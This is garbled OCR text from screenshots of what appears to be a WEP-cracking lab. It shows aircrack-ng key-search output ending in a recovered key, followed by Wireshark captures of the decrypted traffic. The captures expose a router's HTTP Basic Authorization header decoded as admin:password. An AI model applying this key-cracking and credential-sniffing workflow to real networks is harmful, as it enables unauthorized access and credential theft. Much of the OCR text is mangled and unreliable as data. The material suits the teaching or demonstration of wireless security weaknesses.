358>
370)
370>

98¢
BCC
46¢
04¢
D4¢
FGC
02¢
A9¢
30¢
2B¢
56¢
89¢
A%

378>
374)
385>
385>
378)
371>
366>
372>
366>
375
358>
369>
369>

o8¢
99¢
D%
6D¢
38¢
an¢
BL¢
50¢
D4¢
39¢
6BC
97¢
DBC

372>
369>
383>
383>
372>
370)
366>
371>
366>
374)
358>
369>
368>

31¢
20¢
E9¢
6A¢<
EEC
c1¢
16¢
9FC
18¢
25¢
c2¢
8A¢<
23¢
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PYSRENV PRIV -
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airerack-ng 0.9.1 r862

[60:00:581 Tested

hyteCuote

44¢
a5¢
43¢
a1¢
46¢
9FC
D1¢
F2C
FF¢
87¢
cp¢
ABC
21¢

479>
459>
463>
467>
432>
380)
376>
386>
373>
378
363>
373>
37%>

20¢
15¢
27¢
ca<
8D¢
3B¢
a1¢
10¢
D¢
BAC
c6¢
BLC
85¢

386>
382>
398>
385>
384)
373>
373>
382>
372>
37
362>
370)
371>

789228/1408000 keys (got 85245

26¢
a1¢
DBC
26¢
BCC
FCC
86¢
B3¢
93¢
08¢
55¢
89¢
c1<

384>
382)
391>
385>
380)
371>
371>
376>
372>
376>
361>
369>
370>

98¢
BCC
46¢
04¢
D4¢
an¢
FBC
4E¢
25¢
2B¢
4B¢
97¢
A%

378>
374)
385>
385>
378>
370)
371>
373>
371>
375>
361>
369>
369>

o8¢
99¢
D%
6D¢
38¢
c1¢
82¢
A9¢
58¢
39¢
EF¢
8a¢
DBC

372>
369>
383>
383>
372>
367)
366>
372>
371>
374)
360)
369>
368>

31¢
20¢
E9¢
6A¢<
EEC
E8C
BLC
50¢
27¢
25¢
08¢
02¢
23¢
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Airerack-ng 0.9.1 r862

[60:01:081 Tested

hyteCuote

44¢
a5¢
43¢
a1¢
46¢
16¢
86¢
BCC
26¢
87¢
A5¢
69¢
E6<

479>
459>
463>
467>
432)
388>
371>
392>
368>
378)
363>
386>
37>

20¢
15¢
27¢
ca<
8D¢
9FC
6C¢
16¢
30¢
BAC
87¢
86¢
85¢

386>
382>
398>
385>
384)
380)
371>
386>
366>
376>
363>
37%)
371>

882126/1408008 keys (got 85245

26¢
a1¢
DBC
26¢
BCC
3B¢
02¢
02¢
D4¢
26¢
88¢
78¢
fiitd

384>
382)
391>
385>
380)
373)
366>
384)
366>
376>
362>
375)
370>

98¢
BCC
46¢
04¢
D4¢
FGC
BLC
B3¢
18¢
2B¢
aF¢
CF¢
A%

378>
374)
385>
385>
378)
371>
366>
376>
366>
378>
361>
373>
369>

o8¢
99¢
D%
6D¢
38¢
an¢
16¢
4E¢
14¢
39¢
25¢
BIC
DBC

372>
369>
383>
383>
372>
370)
366>
373)
365>
374)
361>
370)
368>

31¢
20¢
E9¢
6A¢<
EEC
c1¢
82¢
A9¢
4B¢
25¢
A%<
89¢
23¢





[image: image48.png]Airerack-ng 0.9.1 r862

[69:01:111 Tested 1832896,1488000 keys (got 85245 IUs)

hyteCuote
43¢ 479> BAC 386) 26¢ 384) 9B 378> BAC 372> 3¢ 371>
45¢ 459 15¢ 382) 41¢ 382) BCC 374> 99¢ 369> 2DC 368>
43¢ 463> 27¢ 398 DBC 391> 46¢ 385) D7¢ 383> E9C 378>
41¢ 467> G4 385) 2CC 385) B4C 385> 6DC 383> 6AC 383>
46¢ 432> SDC 384) BCC 380) DAC 378> 38¢ 372> EEC 371>
9FC 388> 3BC 373) FCC 371) 8D 370) CiC 367> E8C 366>
6CC 371> B2¢ 366 BIC 366) 16< 366> 82¢ 364> 9AC 364>
48¢ 384> B3C 376 4EC 373) A9C 372> SAC 371> 9FC 369>
46¢ 378> 75¢ 369 C5C 369) DB 368> 61¢ 368> 3AC 366>
87¢ 378> BAC 376> BAC 376> 2B 375> 39¢ 374> 05¢ 371>
FO¢ 373) 53¢ 373) BLC 373) 7D 371> 75¢ 368> BFC 368>
1EC 386> 83¢ 376 73 375> D2¢ 373> BiC 370> 89¢ 369>
ADC 385> 2FC 3785 C4< 379> C2C 376> B5¢ 371> CLC 370>

1
1
1
1
1
2
g
3
5
1
5
1
4





[image: image49.png]Airerack-ng 0.9.1 r862

[69:01:201 Tested 1128400,1480000 keys (got 85245 IUs)

=

PYSRENV PRIV -

hyteCuote
43¢ 479> BAC 386) 26¢ 384) 9B 378> BAC 372> 3¢ 371>
45¢ 459 15¢ 382) 41¢ 382) BCC 374> 99¢ 369> 2DC 368>
43¢ 463> 27¢ 398 DBC 391> 46¢ 385) D7¢ 383> E9C 378>
41¢ 467> G4 385) 2CC 385) B4C 385> 6DC 383> 6AC 383>
46¢ 432> SDC 384) BCC 380) D4C 378> 38¢ 372> EEC 371>
10¢ 388> 9FC 386 3BC 373> FCC 371> DS 370> CLC 367>
41¢ 373) F7¢ 371) 6CC 371) B2¢ 366> BiC 366> 16< 366>
16¢ 386> E3¢ 384) BIC 376) 4EC 373> A9C 372> SAC 371>
FCC 378 72¢ 375 CFC 374) 14¢ 373> 9DC 372> 93¢ 372>
4AC 376> 2BC 378) 39 374) B5¢ 371> 9BC 371> 4FC 370>
ASC 363> GDC 363> C6< 362> 55¢ 361> 4BC 361> EFC 360>
2EC 375> CFC 373) BIC 370) 89¢ 369> 97¢ 369> 8AC 369>
©2¢ 376> B5¢ 371> C1< 378> A7< 369> DBC 368> 23¢ 367>

1
1
1
1
1
2
g
3
5
1
5
1
5





[image: image50.png]airerack-ng 0.9.1 r862

[89:01:311 Tested 1365235/1400000 keys Cgot 85245 IUs)

=

PYSRENV PRIV -

hyteCuote
43¢ 479> BAC 386) 26¢ 384) 9B 378> BAC 372> 3¢ 371>
45¢ 459 15¢ 382) 41¢ 382) BCC 374> 99¢ 369> 2DC 368>
43¢ 463> 27¢ 398 DBC 391> 46¢ 385) D7¢ 383> E9C 378>
41¢ 467> G4 385) 2CC 385) B4C 385> 6DC 383> 6AC 383>
46¢ 432> SDC 384) BCC 380) DAC 378> 38¢ 372> EEC 371>
9FC 388) 3BC 373) FCC 371) @D 370> CiC 367> E8C 366>
F7¢ 371> FBC 371) 82¢ 366) BiC 366) 16< 366> 82¢ 364>
BCC 392 16< 386) B2 384> B3¢ 376> 4EC 373> A< 372>
11¢ 378> 71 378) CEC 374> 13¢ 373> 9CC 372> 92¢ 372>
ECC 378> F8C 376 3EC 376) 2B 375> 39¢ 374> 05¢ 371>
CL¢ 365> 93¢ 363> 75< 363 6EC 362> FDC 361> F3¢ 361>
70¢ 375> C4¢ 373) BIC 370) 89¢ 369> 97¢ 369> 8AC 369>
C2¢ 376> B5¢ 371> C1< 378> A7< 369> DBC 368> 23¢ 367>

1
1
1
1
1
2
g
3
5
1
5
1
5





[image: image51.png]Airerack-ng 0.9.1 r862

[69:01:481 Tested 1398611/1480000 keys Cgot 85245 IUs)

=

PYSRENV PRIV -

hyteCuote
43¢ 479> BAC 386) 26¢ 384) 9B 378> BAC 372> 3¢ 371>
45¢ 459 15¢ 382) 41¢ 382) BCC 374> 99¢ 369> 2DC 368>
43¢ 463> 27¢ 398 DBC 391> 46¢ 385) D7¢ 383> E9C 378>
41¢ 467> G4 385) 2CC 385) B4C 385> 6DC 383> 6AC 383>
46¢ 432> SDC 384) BCC 380) DAC 378> 38¢ 372> EEC 371>
9FC 388> 3BC 373) FCC 371> 8D 370> CiC 367> E8C 366>
2FC 388) 40¢ 379) 13 379) 26< 378> 60< 376> 41C 373>
85¢ 384> B3C 376 4EC 373) A9< 372> SAC 371> 9FC 369>
9CC 372 7EC 372 FAC 371> 3B 371> F2¢ 370> 32¢ 370>
ESC 376> 2BC 375 39 374) 85¢ 371> 98¢ 371> 4FC 370>
52¢ 371> 4AC 368 94 368) 43 367> 38¢ 365> PAC 363>
66¢ 376> 22¢ 375 81 373) B1( 370> BIC 369> 97< 369>
22¢ 371> G1< 378> APC 369> DBC 368> 23C 367> 25¢ 366>

1
1
1
1
1
2
g
3
5
5
5
1
5
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Airerack-ng 0.9.1 r862

[80:01:511 Tested

hyteCuote

44¢
a5¢
43¢
a1¢
46¢
16¢
26¢
10¢
B4
1D¢
A%
78¢
E8C

479>
459>
463>
467>
432)
388>
378)
384)
371>
398>
360>
375)
385>

20¢
15¢
27¢
ca<
8D¢
9FC
DI¢
B3¢
F5¢
a2¢
08¢
32¢
7EC

386>
382>
398>
385>
384)
380)
376>
376>
371>
378>
359>
373)
379>

66269400008

26¢
a1¢
DBC
26¢
BCC
3B¢
B2¢
4E¢
Acs
BAC
cc¢
BLC
13¢

384>
382)
391>
385>
380)
373>
373>
373>
370)
37
358>
370)
379>

98¢
BCC
46¢
04¢
D4¢
FGC
F2¢
a9¢
ECC
26¢
56¢
89¢
11<

keys

378>
374)
385>
385>
378)
371>
371>
372>
370)
37
358>
369>
3%

(got 85245 1Us>

o8¢
99¢
D%
6D¢
38¢
an¢
6CC
5A¢
2F¢
2B¢
6BC
97¢
25¢

372>
369>
383>
383>
372>
370)
371>
371>
369>
375)
358>
369>
371>

31¢
20¢
E9¢
6A¢<
EEC
c1¢
02¢
9FC
7F¢
39¢
c2¢
8A¢
c1<

371>
368>
378>
383>
371>
367)
366>
369>
369>
374)
357)
369>
370>





[image: image53.png]=

PYSRENV PRIV -
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Airerack-ng 0.9.1 r862

[60:62:081 Tested

hyteCuote

44¢
a5¢
43¢
a1¢
46¢
16¢
18¢
03¢
26¢
66¢
A%<
E4¢
c2¢

479>
459>
463>
467>
432)
388>
379>
384>
370)
390>
360>
375)
37>

20¢
15¢
27¢
ca<
8D¢
9FC
84¢
B3¢
32¢
aD¢
08¢
32¢
25¢

386>
382>
398>
385>
384)
380)
379>
37
370)
378>
359>
373)
371>

259703/480000 keys (got 85245 IUs)>

26¢
a1¢
DBC
26¢
BCC
3B¢
97%¢
4E¢
75¢
BAC
cc¢
BLC
c1c

384>
382)
391>
385>
380)
373>
378
373>
369>
37%)
358>
370)
370>

98¢
BCC
46¢
04¢
D4¢
FCC
DL¢
a9¢
c5¢
08¢
56¢
89¢
A%

378>
374)
385>
385>
378)
371>
376>
372>
369>
37%)
358>
369>
369>

o8¢
99¢
D%
6D¢
38¢
an¢
B2¢
50¢
95¢
2B¢
6BC
97¢
DBC

372>
369>
383>
383>
372>
370)
373>
371>
368>
375)
358>
369>
368>

31¢
20¢
E9¢
6A¢<
EEC
c1¢
F2¢
9FC
1B¢
39¢
c2¢
8A¢<
23¢

371>
368>
378>
383>
371>
367)
371>
369>
368>
374)
357)
369>
367>
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Airerack-ng 0.9.1 r862

[60:62:18]1 Tested

hyteCuote

44¢
a5¢
43¢
a1¢
46¢
9FC
6C¢
a8¢
D9¢
87¢
A%<
43¢
c2¢

479>
459>
463>
467>
432>
380)
371>
384)
369>
378)
360>
373>
37%>

20¢
15¢
27¢
ca<
8D¢
3B¢
02¢
B3¢
95¢
BAC
08¢
BLC
85¢

386>
382>
398>
385>
384)
373>
366>
376>
368>
3%
359>
370)
371>

427680/480000 keys (got 85245 IUs)

26¢
a1¢
DBC
26¢
BCC
FCC
BLC
4EC
1B¢
ga¢
cc¢
89¢
c1<

384>
382)
391>
385>
380)
371>
366>
373>
368>
3%
358>
369>
370>

98¢
BCC
46¢
04¢
D4¢
an¢
16¢
A%<
30¢
2B¢
56¢
97¢
A%

378>
374)
385>
385>
378>
370)
366>
372>
366>
375
358>
369>
369>

o8¢
99¢
D%
6D¢
38¢
c1¢
82¢
5a¢
D4¢
39¢
6BC
8a¢
DBC

372>
369>
383>
383>
372>
367)
364>
371>
366>
374)
358>
369>
368>

31¢
20¢
E9¢
6A¢<
EEC
E8C
90¢<
9FC
18¢
25¢
c2¢
82¢
23¢

371>
368>
378>
383>
371>
366>
364>
369>
366>
371>
357)
369>
367>
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airerack-ng 0.9.1 r862

[60:62:2081 Tested

hyteCuote

44¢
a5¢
43¢
a1¢
46¢
9FC
5EC
BL¢
89¢
73¢
a9¢
E4¢
c2¢

479>
459>
463>
467>
432>
380)
371>
384)
369>
378)
360>
375)
37>

20¢
15¢
27¢
ca<
8D¢
3B¢
02¢
B3¢
c5¢
BAC
08¢
32¢
25¢

386>
382>
398>
385>
384)
373>
366>
376>
369>
37%)
359>
373)
371>

194927/200000 keys (got 85245 IUs)

26¢
a1¢
DBC
26¢
BCC
FCC
BLC
4E¢
95¢
08¢
cc¢
BLC
c1c

384>
382)
391>
385>
380)
371>
366>
373>
368>
3%
358>
370)
370>

98¢
BCC
46¢
04¢
D4¢
an¢
16¢
A%<
1B¢
2B¢
56¢
89¢
A%

378>
374)
385>
385>
378>
370)
366>
372>
368>
375)
358>
369>
369>

o8¢
99¢
D%
6D¢
38¢
c1¢
82¢
5A¢
30¢
39¢
6BC
97¢
DBC

372>
369>
383>
383>
372>
367)
364>
371>
366>
374)
358>
369>
368>

31¢
20¢
E9¢
6A¢<
EEC
E8C
90¢<
9FC
D4¢
25¢
c2¢
8A¢<
23¢

371>
368>
378>
383>
371>
366>
364>
369>
366>
371>
357)
369>
367>





[image: image56.png]Airerack-ng 0.9.1 r862

[60:62:381 Tested

hyteCuote
479> 00 386)
459> 15¢ 382)

44¢
a5¢
43¢
a1¢
46¢

463> 27¢
467> C4<
432> 8DC

KEY FOUND!

398>
385>
384>

[ 44:45:43:41:46 1 CASCII:

Decrypted correctly: 108x

lC:\Users\adnin\Desktop>

/140000

26¢
a1¢
DBC
26¢
BCC

384>
382)
391>
385>
380>

keys (got 85245 IUs>

98¢
BCC
46¢
04¢
D4<

378>
374)
385>
385>
378>

o8¢
99¢
D%
6D¢
38¢

372>
369>
383>
383>
372>

31¢
20¢
E9¢
6A¢<
EEC

371>
368>
378>
383>
371>

DECAF >
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File: "C:\Users\admin\ AppData\ Local\Temp\ etherXXXX204660" 19 K8 00:00:02

P:47 D:0 M: 0 Drops: 0
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1343 65.705478  192.168.66.1 192.168.66.101 Tcp http > 54425 [SYN, ACK] Se
1346 65.705717  192.168.66.101 192.168.66.1 Tcp 54425 > http [ACK] Se
1348 65.706356 68. 6. 101 192.168. 66. HTTP _ GET /WLG wireless.htm HiTe)
1350 65.709857  192.168.66.1 192.168.66.101 Tcp [TCP segment of a reassembled PDU
1352 65.710610  192.168.66.1 192.168.66.101 HTTP  HTTP/1.0 401 Unauthorized (text/html
1354 65710856 192.168.66.101 192.168.66.1 Tcp 54425 > http [ACK] Seq=509 Ack=542 Win=16980 Len-0
1358 65.711477  102.168.66.101 192.168.66.1 Tcp 54425 > http [FIN, ACK] Se
1360 65.711727  192.168.66.101 192.168.66.1 Tcp 54425 > http [FIN, ACK] Se
1362 65.712355  192.168.66.101 192.168.66.1 Tcp 54425 > http [FIN, ACK] Seq=509 Ack=542 W
1364 65.712477  192.168.66.1 192.168. 66. 101 Tcp http > 54425 [ACK] Seq=542 Ack=510 Win=8192 Len=0
367 A8 715070 1G> TR Ah 1M o> 1en a1 o SAASS < ren TETA APWT CanmGAQ APP—GA3 wino1AORA I an—n
Transwission Control ProtocoT, SrC Port: 54425 (54425), bt Port: et (80), Seqr T, ACH Tent 508

= Hypertext Transfer Protocol
GET /WLG_wireless.htm HTTP/1.1\r\n
HoST: 192.168.66.1\r\n

Accept-Language: en-us,en; g=0.5\r\n
Accept-gncoding: gzip,deflate\r\n

Accept-Charset: I50-8859-1,utf-8;=0.7,% g=0.7\r\n
Keep-Alive: 300\r\n

Connection: keep-alive\r\n

Referer: http://192.168.66.1/MNU_menu. htm\r\n

User-agent: Mozil1a/5.0 (windows; U; windows NT 6.0; en-us; r
Accept: text/xml,application/xnl,application/xhtml+xml, text/html;=0.9,text/plain:

.8.1.13) Gecko/20080311 Firefox/2.0.0.13\r\n

.5\r\n

.8, image/png, */

@ Authorization: Basic YwRtaw46cGFzc3dvema=\r\n
Ar\n

[0020 33 55 00 2a f2 9b /T be 50 18 11 ic 18 ef 00

3o 7 2 7769 6C 65

looso 50 2f od
looso 2e 3 £
looso 41 67 65 6 3a
loo7o 2 )
looso 57 77
loogo 65 6 3b
looao 3133 65
loobo 32 30 30 38 30 31 72

-
2

vi1.8.
/2008

i
0

Frame (624 bytes) | Decrypted WEP data (556 bytes)

‘AirPcap USB wireless capture adapter nr. 00: <live capture in progress> File: CAUsers\admin\AppData\LocahTemp\.

P:16973 D: 194 M:0
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Fiter: [P S R YT
No... Source Destination Protocol  Info a
1342 192.168. 66.101 192.168.66.1 Tcp 54425 > http [SYN] Seq=0 Ler
1344 192.168.66.1 192.168.66.101 Tcp http > 54425 [SYN, ACK] Se Win=8192 Len=0 MSS=1460 WS=0
1346 192.168. 66.101 192.168.66.1 Tcp 54425 > hrtp [ACK] Seq=1 Adl 7520 Len=0
1350 192.168.66.1 192.168. 66.101 Tcp [TCP segment of a reassembled POU
1352 192.168.66.1 192.168.66.101 HTTP  HTTP/1.0 401 Unauthorized (text/html)
1354 192.168. 66,101 192.168.66.1 Tcp 54425 > http [ACK] Seq=509 Ack=542 Win=16980 Len=0
192.168. 6. 101 192.168.66.1 TcP 54425 > http [FIN, ACK] Se 6980 Len=0
192.168.66.101 192.168.66.1 Tcp 54425 > http [FIN, ACK] Se 6980 Len=0
1362 65.712355  192.168.66.101 192.168.66.1 Tcp 54425 > http [FIN, ACK] Seq=509 Ack=542 Win=16980 Len=0
1364 65.712477  102.168.66.1 192.168. 66,101 Tcp http > 54425 [ACK] Seq=542 Ack=510 Win=g102 Len=0
267 AR 715070 10 TRR AR 101 70> AR fR 1 o AR~ ren TETRL APUT €aA=SAO APU=RAD Wit AORA | an—n ~
= TransmissTon Control ProtocoT, ST Port: 54425 (54475), b5t Port: et (80), Seqr I, ACK: I, Tent 508 P
5 Hypertext Transfer Protoco
© GET /WLG_wireless.htm HTTP/1.1\r\n
HoST: 192.168.66.1\r\n
User-agent: Mozil11a/5.0 (windows; U; windows NT 6.0; en-Us; rv:1.8.1.13) Gecko/20080311 Firefox/2.0.0.13\r\n
Accept: text/xml,application/xnl,application/xhtml+xml, text/html;q=0.9,text/plain; g=0. 8, image/png, */*; =0. 5\r\n
Accept-Language: en-us,en; g=0.5\r\n
Accept-gncoding: gzip,deflate\r\n
Accept-Charset: 150-8859-1,utf-8;q=0.7,%;¢=0.7\r\n
Keep-Alive: 300\r\n
Connection: keep-alive\r\n
Referer: http://192.168.66.1/MNU_menu. htm\r\n
Arin m
120 37 2c 2a 3b 71 3d 30 2e Keep- B
lo1bo 41 00. .conn
o1co 65 ection: keep-al
lo1do ve..Refe rer: htt
lozeo p://192. 168.66.1
lo1fo JMNU_nen u. h;
lo200
lo210
lo220

Frame (624 bytes) | Decrypted WEP data (556 byts

‘AirPcap USB wireless capture adapter nr. 00: <live capture in progress> File: C\Users\admin\AppData\LocahTemp\... | P: 17178 D: 194 M: 0
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Fitter: [tcp v Expression... Clear Apply
No. . Source Destination Protocol Info It
1342 192.168. 66.101 192.168.66.1 Tcp 54425 > hrep [SYN] Seq=0 Le
1343 192.168.66.1 192.168. 66.101 Tcp Rttp > 54425 [SYN, ACK] Se Win=8192 Len=0 MSS-1460 Ws=0
1346 192.168. 66.101 192.168.66.1 Tcp 54425 > hrep [ACK] Seq-1 Ac 7520 Len-0
1350 102.168.66.1 192.168. 66.101 Tcp [TCP segment of a reassembled PDU]
1352 192.168.66.1 192.168. 66.101 HTTP  HTTP/1.0 401 Unauthorized (text/html)
1354 192.168. 66.101 192.168.66.1 Tcp 54425 5 hrtp [ACK] Seq-509 Ack=542 Win=16980 Len=0
192.168. 66.101 102.168.66.1 Tcp 54425 > http [FIN, ACK] Se 6980 Len-0
192.168. 66.101 192.168.66.1 Tcp 54425 > http [FIN, ACK] Se 6980 Len-0
1362 65.712355  192.168.66.101 192.168.66.1 Tcp 54425 > hrtp [FIN, ACK] Seq=509 Ack=542 Win-16980 Len-0
1364 65.712477  192.168.66.1 192.168. 66.101 Tcp http > 54425 [ACK] Seq=542 Ak=510 Win-8192 Len-0
A7 AR 715070 70> AR Aa 10T To> am ae T d PSS rem A APUT GORTANG ArU_tA WinetRORA t on—n -
= Wypertext Transter Protocol a
% GET /WLG_wireless. htm HTTP/L.1\r\n
Host: 192.168.66.1\r\n
User-Agent: Mozilla/5.0 (windows; U; windows NT 6.0; en-us; rv:1.8.1.13) Gecko/20080311 Firefox/2.0.0.13\r\n
Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain; .8,image/png, */*;g=0.5\r\n
Accept-Language: en-us,en;g=0.5\r\n
Accept-Encoding: gzip,deflate\r\n
Accept-charset: I50-8859-1,utf-8;g=0.7,%;g=0.7\r\n
Keep-Alive: 300\r\n
Connection: keep-alive\r\n
Referer: http://192.168.66.1/MNU_menu. htm\r\n
o Authorization: Basic YwRtaw46cGFzc3dvemQ=\r\n
\r\n =
30 06 < —uz.Be . g z
33 55 50 30,30 .
47 45 5f GET /WLG _wireles
3 2e 54 s.htm HT TP/1.1..
48 6f 32 Host: 19 2.168.66
2e 31 2d .1..user
4d 6f 35 mMozilla/ 5. n
64 6f 20 dows; u; windows
20 de 20 NT 6.0]  en-us;
727 2e 3 rvit 8. .13) gec o

Frame (624 bytes) | Decrypted WEP data (556 byts

‘AirPcap USB wireless capture adapter nr. 00: <live capture in progress> File: CA\Users\admin\AppData\LocahTemp\... | P: 17509 D: 194 M: 0
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Fiter: [P S R YT
No. . Source Destination Protocol Info It
1342 192.168. 66.101 192.168.66.1 Tcp 54425 > hrep [SYN] Seq=0 Le
1343 192.168.66.1 192.168. 66.101 Tcp Rttp > 54425 [SYN, ACK] Se Win=8192 Len=0 MSS-1460 Ws=0
1346 192.168. 66.101 192.168.66.1 Tcp 54425 > hrep [ACK] Seq-1 Ac 7520 Len-0
1350 102.168.66.1 102.168. 66.101 TcP [TCP segment of a reassembled PDU]
1352 192.168.66.1 192.168. 66.101 TP HTTP/1.0 401 Unauthorized (rext/himl)
1354 192.168. 66.101 192.168.66.1 Tcp 54425 5 hrtp [ACK] Seq-509 Ack=542 Win=16980 Len=0
192.168. 66.101 102.168.66.1 Tcp 54425 > http [FIN, ACK] Se 6980 Len-0
192.168. 66.101 192.168.66.1 Tcp 54425 > http [FIN, ACK] Se 6980 Len-0
1362 65.712355  192.168.66.101 192.168.66.1 Tcp 54425 > hrtp [FIN, ACK] Seq=509 Ack=542 Win-16980 Len-0
1364 65.712477  192.168.66.1 192.168. 66.101 Tcp http > 54425 [ACK] Seq=542 Ak=510 Win-8192 Len-0
A7 AR 715070 70> AR Aa 10T To> am ae T d PSS rem A APUT GORTANG ArU_tA WinetRORA t on—n -
= Wypertext Transter Protocol -

© GET /WLG_wireless.htm HTTP/1.1\r\n

HoST: 192.168.66.1\r\n

User-agent: Mozil11a/5.0 (windows; U; windows NT 6.0; en-Us; rv:1.8.1.13) Gecko/20080311 Firefox/2.0.0.13\r\n

Accept: text/xml,application/xnl,application/xhtml+xml, text/html;q=0.9,text/plain; g=0. 8, image/png, */*; =0. 5\r\n

Accept-Language: en-us,en; g=0.5\r\n

Accept-gncoding: gzip,deflate\r\n

Accept-Charset: 150-8859-1,utf-8;q=0.7,%;¢=0.7\r\n

Keep-Alive: 300\r\n

Connection: keep-alive\r\n

Referer: http://192.168.66.1/MNU_menu. htm\r\n

B Authorization: Basic YWRTaW46CGFzC3dvema=\r\n
credentials: admin:password

Ar\n m
[0000 00 00 20 00 ef 58 00 00 37
0010 10 60 94 09 O 00 d9 99 4
0020 08 41 2c 00 00 18 4d 50 59
0030 00 18 2d 50 59 a6 80 b0 36
0020 b8 26 ee b6 13 ed ef b0 77
0050 df 70 SF 43 0 d7 €0 33 2
0060 26 25 7F ca 12 17 ae 7b 67
0070 Oc a5 ab 42 4d 2d 90 df ab
0080 fd 95 b dd 64 27 92 23 d3
0090 86 46 ba e6 be 16 aa if 0b

Frame (624 bytes) |Decrypted WEP data (556 bytes)

‘AirPcap USB wireless capture adapter nr. 00: <live capture in progress> File: C:\Users\admin\AppData\LocahTemp\... | P: 13371 D: 163 M: 0
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Wireless Settings. © None
- Placement of the Router to Optimize Wireless Connectivity
Content Filtering wep
s WPA-PSK [TKIP] | The operating distance or range of your wireless connection can vary
‘significantly based on the physical placement of the router. For best
Block Sites WPAZ-PSK AES] fesults, place your router
i WPAPSK TKIP] + WPAZ-PSK [AES]
Erdemnm TPl tes] # Nearthe center of the area in which your PCs will operate,
Secu Sel * In an elevated location such as a high shelf,
i Securty Encryption (WEP) - + Away fom potential sources of nterfrence, such as PCs,
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Schedule * Away from large metal surfaces.
Encryption Strength; e4bit [+]
Note: Failure tofollow these guidelines can resultin sigrificant
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Router Status Passphrase: "
Attached Devices 4445434146
Backup Settings Name (SSiD)
Set Password Enter avalue of up to 32 alphanumeric characters. The same Name
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Fiter: [P e e
N Time octiaton Potocol o
1783 73 o iSiseend TSI Tk Seelie ackesort
1783 73 o et T 3435 b [ G seesiie adk
e 7 = IEIRISHr T hitpo seeds (k] Sersert Ackosis
1780 73 o i%ieesd S N8 e fowd
179 73 = BEIISdr T itp seedb Loy Aokl se
7% 73 o i%ieesd S N8 tad
1795 73. 101 102.168.66.1 HTTP GET /help.css HTTP/1.1
1797 73. 1 192.168. 66.101 Tcp [TCP segment of a reassembled PDU]
1799 73. 1 192.168.66.101 HTTP. HTTP/1.0 200 OK (text/plain
1801 73, 101 192.168.66.1 Tcp 36 > htep [ACK] Se
T e T e
1607 73:395338  195.1s8.0.1 133800001 T itp > 5443 [ack] Searions ad

@ Frame 1342 (128 bytes on wire, 128 bytes captured)
@ Radiotap Header V0, Length 32
@ TEEE 802.11
@ Logical-Link control
@ Internet Protocol, Src: 192.168.66.101 (192.168.66.101), DSt: 192.168.66.1 (192.168.66.1)
@ Transmission Control Protocol, Src Port: 54425 (54425), Dst Port: hrtp (80), Seq: 0, Len: 0
[0000 00 00 20 00 &f 58 00 00 7
0010 10 60 94 09 O 00 d9 99 64
0020 08 41 2c 00 00 18 4d 50 59
0030 00 18 4d 50 59 a6 60 b0 15 Y
0020 55 ¥4 fo 25 25 61 89 dd 38 7
0050 82 14 86 58 ce 07 90 32 ea 5b
0060 fc 04 6d F8 Se 0b 33 ic be 5b
3 6C 3¢ 2b 9e dc 1d 16 7 b2 7e ea T4

Frame (128 bytes) |Decrypted WEP data (60 bytes)

“AirPcap USB wireless capture adapter nr. 00: <live capture in progress> File: C:\Users\admin\AppData\LocahTemp.

P:1869 D: 163 M: 0




[image: image89.png]Ele Edt View Go Analyze
B W 8 @ mtfce
i Opions
Eiter: [Ecp [
No. Tme |MN
® Restart
@ Capture e,
1168.66
(168
1168.66
116866

1362 65.712355
1364 65.712477

192.168. 66.101
192.168.66.101
192.168.66.101
192.168.66.1

P& B &% 37 &

66.

101

1
1
~101

.01

.1

192.168.66.1
192.168.66.1
192.168.66.1
192.168. 66,101

@ Frame 1342 (128 bytes on wire, 128 bytes captured)
@ Radiotap Header V0, Length 32

@ TEEE 802.11
@ Logical-Link control

@ Internet Protocol, Src: 192.168.66.101 (192.168.66.101), DSt: 192.168.66.1 (192.168.66.1)

@ Transmission Control Protocol, Src Port: 54425 (54425), Dst Port: hrtp (80), Seq: 0, Len: 0

Frame (128 bytes) |Decrypted WEP data (60 bytes)

[0000 00 00 20 00 ef 58 00 00

0010 10 60 94 09 O 00 dg 99

0020 08 41 2c 00 00 18 4d 50

0030 00 18 4d 50 59 a6 60 bo <0

looso 55 F4 fo 25 25 61 89 dd 7:

0050 8a 14 86 58 ce 07 90 32 5b

o060 fc 04 6d 78 Se 0b 33 1c 5b
3 6c 3¢ 2b 9e dc 1d 16 fa

‘AirPcap USB wireless capture adapter n. 00: <live capture in progress> File: C:\Users

Blaaan aos x

Rttp > 54425 [SYN, ACK] Se
54425 > hrtp [ACK] Seq=1 Adl
GET /WLG_wireless.htm HTTP/1.1
[TCP segment of a reassebled POU

0 401 unauthorized (text/html)
54425 > http [ACK] Seq=509 Ack=542 Win=16980 Len=0

Win=8192 Len=0 MSS=1460 WS=0

54425 > http [FIN, ACK] Se
54425 > http [FIN, ACK] Se
54425 > http [FIN, ACK] Seq=509 Ack=542 wi
http > 54425 [ACK] Seq=542 Ack=510 Win=8192 Len=0

SAAIS ~ hren TETAL ACWT San-SRO APL-SA2 Wino1RORA I+ an—n

admin\AppData\LocahTemp... | P: 2229 D: 163 M: 0
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Fiter: [P S R YT

Source Destination Protocol Info b
T52.165. 66. 101 T52.165.66.1 TCr SH325 > RTep [FIN,
192.168. 66.101 192.168.66.1 Tcp 54426 > hrep [SYN]
192.168.66.1 192.168. 66.101 Tcp http > 54426 [SYN,
192.168. 66.101 192.168.66.1 Tcp 54426 > hrep [ACK]

617640 192.168.66.1 102.168. 66.101 TcP [TCP segment of a reassembled PDU]

l618867 192.168.66.1 192.168. 66.101 TP HTTP/1.0 200 OK (rext/html)

1619130 1921168.66.101 192.168.66.1 Tcp 54426 > http [ACK] Seq=509 Ack=915 Win=16604 Le

1653301 1921168.66.101 192.168.66.1 Tcp 54426 > hrtp [FIN, ACK] Seq=509 Ack=915 Win-16604 Len-0

1654314 1921168.66.1 192.168. 66.101 Tcp http > 54426 [ACK] 15 Ack=510 Win-8192 Len=0

1685652  192.168.66.101 192.168.66.1 Tcp 54427 > hrep [SYN]

1686816  192.168.66.1 192.168. 66.101 Tcp http > 54427 [SYN, ws=0

1686986 192.168.66.101 192.168.66.1 Tcp 54427 > htep [ACK] o

Frame 1517 (624 bytes on wire, 624 bytes captured
Radiotap Header VO, Length 32

TeEE 802.11

Logical-Link control

Internet Protocol, Src: 192.168.66.101 (192.168.66.101), Dst: 192.168.66.1 (192.168.66.1)
Transmission Control Protocol, Src Port: 54426 (54426), Dst Port: http (80), seq: 1, Ack: 1, Len: 508
Hypertext Transfer Protoco

[0000 00 00 20 00 ef 56 00 00 &f 79
0010 10 60 94 09 O 00 d5 99 64 00
0020 08 41 2c 00 00 18 4d 50 59 a6

